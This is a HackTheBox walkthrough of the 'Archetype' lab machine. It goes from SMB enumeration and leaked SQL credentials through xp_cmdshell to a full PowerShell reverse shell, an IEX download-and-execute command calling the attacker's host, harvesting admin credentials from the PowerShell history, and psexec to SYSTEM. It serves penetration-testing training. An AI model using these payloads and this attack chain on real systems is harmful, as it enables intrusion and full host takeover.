



HACKTHEBOX



Archetype

20th January 2020 / Document No
D20.101.25

Prepared By: egre55

Machine Author: egre55

Difficulty: **Easy**

Classification: Confidential

Enumeration

```
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$/)/  
nmap -sC -sV -p$ports 10.10.10.27
```

```
nmap -sC -sV -p$ports 10.10.10.27  
  
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-20 08:10 EST  
Nmap scan report for 10.10.10.27  
Host is up (0.021s latency).  
  
PORT      STATE SERVICE      VERSION  
135/tcp    open  msrpc        Microsoft Windows RPC  
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn  
445/tcp    open  microsoft-ds  Windows Server 2019 Standard 17763 microsoft-ds  
1433/tcp    open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM  
| ms-sql-ntlm-info:  
|   Target_Name: ARCHETYPE  
|   NetBIOS_Domain_Name: ARCHETYPE  
|   NetBIOS_Computer_Name: ARCHETYPE  
|   DNS_Domain_Name: Archetype  
|   DNS_Computer_Name: Archetype  
|_  Product_Version: 10.0.17763  
|  
| smb-os-discovery:  
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)  
|   Computer name: Archetype  
|   NetBIOS computer name: ARCHETYPE\x00  
|   Workgroup: WORKGROUP\x00
```

Ports 445 and 1433 are open, which are associated with file sharing (SMB) and SQL Server.

It is worth checking to see if anonymous access has been permitted, as file shares often store configuration files containing passwords or other sensitive information. We can use `smbclient` to list available shares.

```
smbclient -N -L \\10.10.10.27\  
  
Sharename      Type      Comment  
-----  
ADMIN$         Disk      Remote Admin  
backups        Disk  
C$             Disk      Default share  
IPC$           IPC       Remote IPC
```

It seems there is a share called `backups`. Let's attempt to access it and see what's inside.

```

smbclient -N \\10.10.10.27\backups

smb: \> dir
.                D          0  Mon Jan 20 07:20:57 2020
..               D          0  Mon Jan 20 07:20:57 2020
prod.dtsConfig   AR        609  Mon Jan 20 07:23:02 2020

      10328063 blocks of size 4096. 8045063 blocks available

smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (6.2 KiloBytes/sec)

```

There is a dtsConfig file, which is a config file used with SSIS.

```

<DTSConfiguration>
  <DTSConfigurationHeading>
    <DTSConfigurationFileInfo GeneratedBy="..."
GeneratedFromPackageName="..." GeneratedFromPackageID="..."
GeneratedDate="20.1.2019 10:01:34"/>
  </DTSConfigurationHeading>
  <Configuration ConfiguredType="Property"
Path="\Package.Connections[Destination].Properties[ConnectionString]"
ValueType="String">
    <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User
ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist
Security Info=True;Auto Translate=False;</ConfiguredValue>
  </Configuration>
</DTSConfiguration>

```

Foothold

We see that it contains a SQL connection string, containing credentials for the local Windows user `ARCHETYPE\sql_svc`.

Let's try connecting to the SQL Server using [Impacket's](#) `mssqlclient.py`.

```
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')

-----
1
```

We can use the `IS_SRVROLEMEMBER` function to reveal whether the current SQL user has sysadmin (highest level) privileges on the SQL Server. This is successful, and we do indeed have sysadmin privileges.

This will allow us to enable `xp_cmdshell` and gain RCE on the host. Let's attempt this, by inputting the commands below.

```
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
```

The `whoami` command output reveals that the SQL Server is also running in the context of the user `ARCHETYPE\sql_svc`. However, this account doesn't seem to have administrative privileges on the host.

Let's attempt to get a proper shell, and proceed to further enumerate the system. We can save the PowerShell reverse shell below as `shell.ps1`.

```
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2 = $sendback + "## ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyt
e.Length);$stream.Flush()};$client.Close()
```

Next, stand up a mini webserver in order to host the file. We can use Python.

```
python3 -m http.server 80
```

After standing up a netcat listener on port 443, we can use `ufw` to allow the call backs on port 80 and 443 to our machine.

```
nc -lvp 443  
ufw allow from 10.10.10.27 proto tcp to any port 80,443
```

We can now issue the command to download and execute the reverse shell through `xp_cmdshell`.

```
xp_cmdshell "powershell "IEX (New-Object  
Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"
```

A shell is received as `sql_svc`, and we can get the user.txt on their desktop.

Privilege Escalation

As this is a normal user account as well as a service account, it is worth checking for frequently access files or executed commands. We can use the command below to access the PowerShell history file.

```
type
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\Console
Host_history.txt
```

```
type C:\Users\sql_svc\AppData\Roaming\..\..\ConsoleHost_history.txt

net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
```

This reveals that the `backups` drive has been mapped using the local administrator credentials. We can use Impacket's `psexec.py` to gain a privileged shell.

```
psexec.py administrator@10.10.10.27

Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file mQSRmrqV.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service idDI on 10.10.10.27.....
[*] Starting service idDI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

This is successful, and we can now access the flag on the administrator desktop.